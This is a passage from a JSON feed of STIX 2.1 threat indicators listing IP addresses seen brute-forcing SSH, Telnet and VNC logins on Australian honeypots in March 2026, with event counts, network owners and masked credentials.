      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******5, 3***********4, 3**********4, a******6, a********4.",
      "id": "indicator--d71b73e0-5216-4557-a377-8028b2352ee9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.233.116.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 577. Organisation(s): Bell Canada. Usernames observed (masked): r**t. Passwords observed (masked): 1*******#, Y******6.",
      "id": "indicator--884e340f-34c9-4cea-aace-b9be36cd0b86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '70.54.182.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 170. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1****8, A**********., A*******3.",
      "id": "indicator--f0d49469-4a03-46cf-a49f-3265deb41387",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '70.66.77.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD.",
      "id": "indicator--7f4f3f05-2f81-41fd-94ce-77c4034005f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.90.185.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 204428. Organisation(s): SS-Net. Usernames observed (masked): t**********n. Passwords observed (masked): a**********m.",
      "id": "indicator--77a71d90-e787-4000-adac-d08f1745850a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T06:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--feb47aed-cca1-49e0-acf3-b9fec6b4c7e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T06:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.67.89.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T06:15:13.000Z",
      "valid_until": "2026-04-02T06:15:11.000Z"
    },
    {
      "created": "2026-03-01T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--394eb2a5-b880-4c40-a9a7-c2249ebeb89a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.213.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:15:12.000Z",
      "valid_until": "2026-04-02T07:15:09.000Z"
    },
    {
      "created": "2026-03-01T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--fe665edc-a5b4-4f91-b386-214aa354bf5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.22.146.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:15:12.000Z",
      "valid_until": "2026-04-02T07:15:09.000Z"
    },
    {
      "created": "2026-03-01T07:15:12.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): A**********, C********************e, G************1. Passwords observed (masked): A****************************e, H**********************3, U********************************************************************************4.",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:15:12.000Z",
      "valid_until": "2026-04-02T07:15:09.000Z"
    },
    {
      "created": "2026-03-01T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9304. Organisation(s): HGC Global Communications Limited.",
      "id": "indicator--31726879-77c2-496e-87a9-a4169b84284e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.19.104.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:15:12.000Z",
      "valid_until": "2026-04-02T07:15:09.000Z"
    },
    {
      "created": "2026-03-01T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38731. Organisation(s): CHT Compamy Ltd. Usernames observed (masked): r**t. Passwords observed (masked): P******d.",
      "id": "indicator--391da677-7644-4b6e-a107-a178b19bf4e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.71.231.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:15:12.000Z",
      "valid_until": "2026-04-02T07:15:09.000Z"
    },
    {
      "created": "2026-03-01T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 24164. Organisation(s): UNION BROADBAND NETWORK.",
      "id": "indicator--91c1d456-7cb8-4d10-8aef-8f50d3ea2f99",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.158.171.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:15:12.000Z",
      "valid_until": "2026-04-02T07:15:09.000Z"
    },
    {
      "created": "2026-03-01T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 111. Sensors involved: Heralding. Target ports: 5900. Source country: DE. ASN(s): 215730. Organisation(s): H2nexus Ltd. Passwords observed (masked): f******1, p******1, s******d.",
      "id": "indicator--bf81d67e-8f45-4035-9e21-36524c96ef4e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.188.91.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T07:15:12.000Z",
      "valid_until": "2026-04-02T07:15:09.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 151734. Organisation(s): WEBYNE DATA CENTRE PRIVATE LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*****!, 3***********4, 3**********4, P******t, Q********5.",
      "id": "indicator--acd46b77-11f7-4f58-9c16-0847946f4560",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.180.237.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a50f5d1f-bb50-48f6-b925-89d9a1c9e158",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.133.1.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 214209. Organisation(s): Internet Magnate (Pty) Ltd. Usernames observed (masked): t**t. Passwords observed (masked): w***********d.",
      "id": "indicator--d0f6cf36-b908-484f-ae88-7275e97fb5fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.242.30.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 142002. Organisation(s): Scloud Pte Ltd. Usernames observed (masked): r**t. Passwords observed (masked): P******t, Q*******@.",
      "id": "indicator--91dcdc8d-bccd-45ed-b381-5f9b10f8181c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.154.254.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PR. ASN(s): 14638. Organisation(s): Liberty Communications of Puerto Rico LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, ***, A******9, P**********3.",
      "id": "indicator--1955532f-45ab-49c2-9aa6-814ea0a84347",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '24.139.85.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 63940. Organisation(s): dragonhispeed. Usernames observed (masked): r**t. Passwords observed (masked): 1*****!, ***, P**********3, Q********5.",
      "id": "indicator--061b4d19-101b-4b75-b40c-a46943d2af06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.254.152.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--a0a85275-b20c-4b07-936c-1e0e5bce9f1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.101.98.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--3493a927-e087-45b0-8c07-3e9606fc375c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.166.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 210259. Organisation(s): LLC Applied Computational Technologies.",
      "id": "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): **. Passwords observed (masked): r*******y, r**********************1.",
      "id": "indicator--f0c24479-4aa4-436b-af42-9afb9516ec78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.186.8.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T08:15:11.000Z",
      "valid_until": "2026-04-02T08:15:10.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dc8fc2da-3a87-4c1b-9bf0-5e8f66f61290",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.112.27.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--22b7c063-1c4a-4e37-94be-71f9902d2ef8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.30.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 202412. Organisation(s): Omegatech LTD. Usernames observed (masked): f**1. Passwords observed (masked): f**1.",
      "id": "indicator--c85ebcbc-6fa1-490d-831a-936638b75562",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.16.54.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: MX. ASN(s): 265625. Organisation(s): Jafica Telecomunicaciones.",
      "id": "indicator--c1d3d6a6-0fa0-4c13-ad89-24fafbd36561",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.124.160.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--6c674e31-4003-4384-9e76-9454ef153536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.114.173.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 412. Sensors involved: Heralding. Target ports: 5900. Source country: DE. ASN(s): 215730. Organisation(s): H2nexus Ltd. Passwords observed (masked): M******1, a******a, c******e, i******u, p******d.",
      "id": "indicator--37177741-594c-47ff-a360-a3917da5700b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.188.91.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U******************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--38ec0345-51da-4144-9816-545b366fb01a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 24955. Organisation(s): JSC Ufanet.",
      "id": "indicator--143d66b3-1e45-4738-8bac-4970b975a3ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '77.79.133.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 491. Sensors involved: Heralding. Target ports: 5900. Source country: BG. ASN(s): 50360. Organisation(s): Tamatiya EOOD. Passwords observed (masked): 1******8, 0******0, 0****7, 0******6, 0******1.",
      "id": "indicator--bc058dbb-0bbc-4436-973f-09ba12731b78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.124.40.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--59ba6205-4dfa-4873-a6fa-399c576b880b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.94.93.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T09:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FI. ASN(s): 210644. Organisation(s): Aeza International Ltd.",
      "id": "indicator--85c97540-0958-420f-924f-341a7439d8f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '85.192.31.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T09:15:13.000Z",
      "valid_until": "2026-04-02T09:15:11.000Z"
    },
    {
      "created": "2026-03-01T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 614. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, o****e, u**r, ***, n***x. Passwords observed (masked): 1****6, a****3, *, ***, p******d.",
      "id": "indicator--ce7fb42f-985d-46c9-a53d-a1fe87f01c6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.46.65.165']",
      "pattern_type": "stix",
